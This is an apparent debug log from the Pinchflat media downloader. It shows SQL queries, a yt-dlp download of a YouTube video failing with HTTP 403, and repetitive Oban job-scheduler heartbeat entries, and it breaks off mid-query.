idle=442.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:21.973 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/ed/8bedf8e357aae73731aba1cb634816adf4c0eda7df36cb2cde499ae767cfd1c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 12:35:22.532 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:26.491 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/ed/8bedf8e357aae73731aba1cb634816adf4c0eda7df36cb2cde499ae767cfd1c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 12:35:26.492 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 12:35:26.492 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8221565,"event":"job:exception","queue_time":34505,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 12:35:52.534 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.026 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:22.535 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:52.537 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.027 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:22.538 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:52.539 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.028 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:22.540 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:52.541 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.029 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:22.541 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:52.543 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.030 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:22.544 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:52.545 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.031 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:22.547 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:52.548 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.032 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:22.549 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:52.550 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.033 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:22.552 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:52.553 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.034 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:22.554 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:52.555 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.035 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:22.556 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:52.557 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.036 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:22.558 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:52.559 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.037 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:22.560 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:52.561 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.038 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:22.562 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:52.564 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.039 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:22.565 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:52.566 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.040 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:22.567 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:52.568 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.041 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:22.570 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:52.571 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.042 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:22.572 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:52.573 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.043 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:22.575 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:52.576 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.044 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:22.577 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:52.578 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.045 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:22.580 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:52.582 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.046 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:22.584 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:52.585 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.047 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:22.587 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:52.588 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.048 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:22.589 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:52.590 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.049 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:22.591 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:52.592 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.050 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:22.594 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:52.596 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.051 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:22.597 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:52.598 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.052 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:22.599 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:52.601 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.053 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:22.602 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:52.603 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.055 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:22.604 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:52.605 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.055 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:22.606 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:52.607 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.056 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:22.608 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:52.609 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.057 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:22.610 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:52.611 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.058 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:22.612 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:52.613 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.059 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:22.614 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:52.614 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.060 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:22.616 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:52.618 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.061 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:22.619 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:52.620 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.062 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:22.621 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:52.622 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.063 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:22.623 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:52.624 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.064 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:22.625 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:52.626 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.065 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:22.628 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:52.629 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.066 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:22.630 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:52.631 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.067 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:22.632 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:52.633 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.068 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:22.634 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:52.635 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.069 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:22.636 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:52.637 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.071 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:22.638 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:52.639 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.071 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:22.640 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:52.641 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.072 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:22.642 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:52.643 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.073 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:22.644 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:52.645 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.074 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:22.646 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:52.647 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.075 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:22.648 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:52.649 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:53.945 [info] GET / 13:25:53.945 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:25:53.945 [debug] QUERY OK source="settings" db=0.3ms idle=1414.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:25:53.946 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1415.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:25:53.946 [debug] QUERY OK source="sources" db=0.1ms idle=1297.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:25:53.957 [debug] QUERY OK source="media_items" db=11.0ms idle=1232.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:25:53.958 [debug] QUERY OK source="media_items" db=0.4ms idle=242.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:25:53.958 [debug] QUERY OK source="settings" db=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:25:53.958 [debug] QUERY OK source="settings" db=0.0ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:25:53.959 [debug] QUERY OK source="settings" db=0.0ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:25:53.959 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:25:53.960 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:25:53.960 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:25:53.961 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 13:25:53.965 [debug] QUERY OK source="media_items" db=3.0ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:25:53.966 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS 